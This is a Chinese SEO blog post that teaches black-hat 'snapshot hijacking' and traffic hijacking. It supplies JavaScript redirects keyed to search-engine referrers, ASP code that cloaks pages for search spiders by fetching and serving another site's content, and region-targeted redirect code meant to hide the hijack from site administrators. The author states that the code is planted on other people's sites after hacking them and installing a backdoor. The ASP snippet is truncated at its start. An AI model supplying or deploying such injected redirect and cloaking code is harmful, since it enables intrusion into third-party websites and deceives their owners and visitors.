安严中国SEO博客建站教程 | seo地图 | 博客地图

黑帽seo基础手法之网站快照劫持排名原理-安严苏州SEO博客
  • 安严网络!苏州SEO推广团队!
  • 提供seo技术学习教程!百度搜索词推广、seo外包服务。
  • 苏州SEO优化博客,分享网站搭建流程/seo技术教程,
  • 上海seo优化知识,网络营销推广,百度seo快排技术等SEO优化技术。
  • 网站seo服务/企业网站搭建/网站托管seo外包,请点这里网站服务

黑帽seo基础手法之网站快照劫持排名原理

seo优化技术 安严seo 2018-08-29 1:01:38 909次浏览 已收录 0个评论 扫描二维码

有很多白帽seo对seo黑帽手法了解的并不多,至于其中的原理更是理解的少。实际上,博主对黑帽手法多少有些了解,见证了百度几代的黑帽手法。说到底黑帽seo的倾向于技术性的。单单就技术本身来说也是值得去研究的,何况它的存在推动了搜索引擎的良性发展。这是一篇基础文章,至于以后会不会出高级操作教程,那就看情况了。当然,这里我们暂且不谈seo黑帽效果的持久性。

黑帽seo技术之网站快照劫持技术总结

seo黑帽技术的技术含量要求很高。黑帽手法包括很多很多的手法。举几个列子:流量劫持、快照劫持、泛域名、泛ip、变种ip、目录链轮、新闻源劫持、寄生虫程序、get程序、无限页面链轮等等。相信以后不止这些,还会不停的出新的技能。这篇文章来解释一下流量劫持,快照劫持等常见的的黑帽手法。

1、黑帽seo手法-流量劫持

流量劫持的时候会先判断一下流量的来路引擎,从百度来的时候才会跳转,正常输入网址打开会正常显示的。

实现代码:

if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 )

上面的代码内容是:如果否,则打开正常首页。这段代码为js代码。只是一个简单的判断。

判断搜索引擎来源,如果来源正确跳转到www.feiheseo.cn网站

location.href="https://www.feiheseo.cn";

2、黑帽seo手法-快照劫持

这个黑帽劫持手法是有点技术含量的,想把快照换成自己想要的需要的劫持代码也不那么简单。代码目的是把别人网站首页的快照变成自己的,当然别人输入网址打开网站的时候还是正常显示的,判断来路之后才会跳转。这就需要一段能改变蜘蛛看法的代码。

代码类型很多,我这里写出一种:

0 or instr(agent,"baidubrowser") > 0 or instr(agent,"Sogou") > 0 or instr(agent,"googlebot") > 0 or instr(agent,"Sosospider") > 0 then
linkurl="http://www.xxx.com" 快照网址
Function GetBody(Url)
Dim objXML
On Error Resume Next
Set objXML = CreateObject("Microsoft.XMLHTTP")
With objXML
.Open "Get", Url, False, "", ""
.Send
GetBody = .ResponseBody
End With
GetBody=BytesToBstr(GetBody,"GB2312")
Set objXML = Nothing
End Function
Function BytesToBstr(strBody,CodeBase)
dim objStream
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write strBody
objStream.Position = 0
objStream.Type = 2
objStream.Charset = CodeBase
BytesToBstr = objStream.ReadText
objStream.Close
set objStream = nothing
End Function
response.write GetBody(linkurl)
End if%>

代码解释:前一段判断抓取蜘蛛来源,指向快照抓取网址;后一段代码判断来路,进行跳转到指定网址。代码其他细节暂不解释。

3、黑帽seo手法-地区流量劫持

有时候我们做这些黑帽操作时为了不被网站管理员发现和出于精确劫持的需求。不需要其他地区的没用流量,那就可以用这个代码。

怎么做呢。例如管理员是江西的,那么ip数据识别接口代码:

http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js

具体使用代码如下:

<script src="http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js" charset=”GB2312″ ></script>
<script type="text/javascript">
if(!remote_ip_info.province ==’/u5317/u4eac’){
window.location.href=”http://www.feiheseo.com”
}
</script>

其他代码注释

测试用例:

http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js&amp;ip=114.114.114.114

返回以下信息:

var remote_ip_info = {“ret”:1,”start”:”114.114.112.0″,”end”:”114.114.119.255″,”country”:”\u4e2d\u56fd”,”province”:”\u6c5f\u82cf”,”city”:”\u5357\u4eac”,”district”:””,”isp”:”\u7535\u4fe1″,”type”:””,”desc”:”\u5357\u4eac\u4fe1\u98ce114dns\u4e13\u5c5e”};

文字经过utf-8编码,分别对应不同的信息。
可以通过javascript跨域直接调用,如:

$.getScript('http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js&ip='+ip, function(_result){
if (remote_ip_info.ret == '1'){
alert('IP 详细信息:', 'IP:'+ip+'
国家:'+remote_ip_info.country+'
省份:'+remote_ip_info.province+'
城市:'+remote_ip_info.city+'
区:'+remote_ip_info.district+'
ISP:'+remote_ip_info.isp+'
类型:'+remote_ip_info.type+'
其他:'+remote_ip_info.desc);
} else {
alert('错误', '没有找到匹配的 IP 地址信息!');
}

好了,今天就先说这几个简单的seo黑帽的手法吧。

黑帽劫持技术文章最后

这里可能有人疑问了?你光给了代码,可是劫持要怎么操作实现呢?劫持代码要放在什么地方?

我只想说:放在别人网站的首页代码上或者你想要的劫持的页面代码上。既然技术名词是网站劫持,肯定是劫持别人网站的展现了。

具体要怎么操作怎么放进去呢?其实很简单两个字:黑掉。把别人的网站黑掉装个后门!

所以说seo黑帽技术是建立在非常高深的技术上面进行的操作。黑掉对方网站然后结合seo技术理论知识,实现高效转化流量的一种技术手段。

说实在的,要不要写这篇文章,博主心里犹豫了很久,因为这就好像楼主教大家怎么作弊怎么搞对手一样。其实我专注黑帽seo只是喜欢研究黑帽技术而已。本篇文章不想为互联网行业制造垃圾人才,也不想站长们辛辛苦苦做的站被人黑掉劫持掉。所以等以后有机会了,楼主也许会再发其他类似的文章。当然初衷和目的都是提高大家的网站安全、增强大家的网站防黑能力。


苏州SEO博客版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:黑帽seo基础手法之网站快照劫持排名原理:https://www.feiheseo.cn/kaifa/1395.html
喜欢 (1)
[感谢支持]
分享 (0)
安严seo
关于作者:
2017年入行的一个网站seo优化技术小白。单身也很宅。没有长出倾国倾城的容貌但也迷住万千女人的心;没有拥有富可敌国的财富但也渴望征服世界的经济!

您必须 登录 才能发表评论!